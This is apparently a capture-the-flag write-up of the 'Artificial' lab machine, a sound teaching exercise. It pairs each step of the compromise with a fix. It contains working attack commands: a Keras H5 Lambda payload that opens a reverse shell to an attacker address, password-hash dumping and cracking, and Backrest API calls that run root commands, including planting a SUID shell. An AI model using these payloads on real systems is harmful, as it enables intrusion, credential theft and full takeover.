Artificial
Summary
I scanned $TARGET and discovered an nginx-hosted Flask application that redirected to the artificial.htb virtual host. The application's public static directory served its own Dockerfile and requirements.txt, revealing the exact TensorFlow runtime (tensorflow-cpu==2.13.1, python:3.8-slim). A self-registered account gave access to a model-upload endpoint that passed uploaded Keras H5 files directly to TensorFlow for deserialization.
I rebuilt the application's Docker image from the leaked files, crafted a malicious Keras model whose Lambda layer executed an OS command on load, uploaded it, and triggered model execution — receiving a reverse shell as the app service account. The Flask application's SQLite database, readable from this shell, contained password hashes for all registered users; offline cracking recovered SSH credentials for system user gael. As a member of the sysadm group, gael could read a Backrest backup archive from /var/backups/ whose embedded configuration file held a bcrypt hash for the backrest_root service account, cracked in seconds to the trivially weak password.
An SSH local port-forward exposed Backrest's Connect-RPC API; after recovering method definitions by decoding embedded protobuf descriptors from the minified JS bundle, I authenticated as backrest_root and invoked the RunCommand endpoint — executing arbitrary OS commands under the Backrest service process, which runs as root — completing the privilege-escalation chain.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<the-password-you-recovered, for gael>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <returned-uuid> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP sweep with service version detection.
$ nmap -Pn -sV -p- --min-rate 5000 $TARGETRegister the discovered virtual host for local resolution.
$ echo "$TARGET artificial.htb" | sudo tee -a /etc/hostsEnumerate application routes and the /static/ directory.
$ ffuf -u http://artificial.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403Exact commands 2
Reveals the pinned TensorFlow version required to produce a compatible H5 payload.
$ curl -s http://artificial.htb/static/requirements.txtReveals the exact base image; used to reconstruct the application runtime for payload building.
$ curl -s http://artificial.htb/static/DockerfileFixRemove internal build files from the publicly served static directoryMedium
Exact commands 2
Reconstruct the exact application runtime from the leaked Dockerfile.
$ docker build -t artificial-tf -f Dockerfile .Inside the matching container, patch the Lambda function config in the saved H5 to run a reverse shell. Replace $ATTACKER_IP with your listener IP.
$ docker run --rm -v $(pwd):/out artificial-tf python3 - <<EOF
import tensorflow as tf, h5py, json, os
m = tf.keras.Sequential([tf.keras.layers.Lambda(lambda x: x, input_shape=(1,))])
m.save('/out/payload.h5')
with h5py.File('/out/payload.h5','r+') as f:
cfg = json.loads(f.attrs['model_config'])
lyr = cfg['config']['layers'][1]['config']
lyr['function'] = {'class_name':'function','config':['import os; os.system("bash -c \\"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\\"")', None, None]}
f.attrs.modify('model_config', json.dumps(cfg))
EOFFixDisable server-side deserialization of user-uploaded Keras H5 model filesCritical
Exact commands 5
Self-register an account; no invite or approval required.
$ curl -s -c cookies.txt -X POST http://artificial.htb/register -d "username=$USERNAME&email=$USERNAME@evil.com&password=$PASSWORD3"Authenticate and save the session cookie to cookies.txt.
$ curl -s -c cookies.txt -b cookies.txt -X POST http://artificial.htb/login -d "username=$USERNAME&password=$PASSWORD3"Start the reverse-shell listener before triggering model execution.
$ nc -lvnp 4444Upload the malicious H5; note the UUID returned in the response body.
$ curl -s -b cookies.txt -F 'model_file=@payload.h5;type=application/octet-stream' http://artificial.htb/upload_modelTrigger deserialization. Lambda executes and connects back to the nc listener.
$ curl -s -b cookies.txt http://artificial.htb/run_model/<returned-uuid>Exact commands 2
Run from the app reverse shell. Dumps every user row including the password hash column.
$ sqlite3 /home/app/app/instance/users.db 'SELECT id,username,password FROM user;'hashes.txt contains the password hash strings extracted from the DB, one per line. Recovers gael:$PASSWORD2 among others.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtFixSeparate credential storage from the web service filesystem and enforce strong password hashingHigh
Exact commands 3
Confirm SSH access as gael and read user flag. Flag value: <user.txt>.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 gael@$TARGET 'id; cat /home/gael/user.txt'
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)Open an interactive shell for subsequent enumeration steps.
$ ssh -o StrictHostKeyChecking=no gael@$TARGETFrom gael's shell — enumerate localhost listeners. Reveals ports 5000 and 9898.
$ ss -tlnpExact commands 4
Confirm the archive is readable by the sysadm group (gael's group).
$ ls -la /var/backups/backrest_backup.tar.gzCopy and extract the archive on the target; files land under /tmp/backrest_backup_extract/backrest/.
$ cp /var/backups/backrest_backup.tar.gz /tmp/ && tar -xzf /tmp/backrest_backup.tar.gz -C /tmp/backrest_backup_extract/Read the Backrest config — contains the backrest_root bcrypt hash.
$ cat /tmp/backrest_backup_extract/backrest/.config/backrest/config.jsonCrack the bcrypt hash on my machine. Recovers $PASSWORD4 from rockyou.txt.
$ echo "$HASH" > backrest_hash.txt && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt backrest_hash.txtFixRestrict backup archive permissions and exclude credential material from archives readable by application groupsHigh
Exact commands 3
Forward Backrest's localhost port to my machine (background, no shell).
$ ssh -f -N -L 19898:127.0.0.1:9898 gael@$TARGETExtract and decode base64 FileDescriptorProto blobs from the JS bundle to reveal service method names.
$ curl -s http://127.0.0.1:19898/ | grep -oP '[A-Za-z0-9+/]{60,}={0,2}' | while read b; do echo "$b" | base64 -d 2>/dev/null | protoc --decode_raw 2>/dev/null | head -5; doneAuthenticate as backrest_root using the cracked password. Capture the JWT from the response.
$ curl -s -X POST http://127.0.0.1:19898/v1.Authentication/Login -H 'Content-Type: application/json' -d '{"username":"backrest_root","password":"'"$PASSWORD4"'"}'FixReplace the trivially weak backrest_root password with a randomly generated credential stored in a secrets managerHigh
Exact commands 3
Register a restic repository that Backrest initialises on disk as root. Replace <JWT> with the token from step 8.
$ curl -s -X POST http://127.0.0.1:19898/v1.Backrest/AddRepo -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repo":{"id":"pwn2","uri":"/tmp/pwn2","password":"'"$USERNAME"'"}}'Execute an arbitrary command as root via the Backrest service. Output includes root.txt: <root.txt>.
$ curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cat /root/root.txt"}'Alternative: drop a SUID root shell for interactive access (/tmp/rootbash -p).
$ curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"}'FixRun Backrest as a non-root service account and restrict or remove the RunCommand API endpointCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.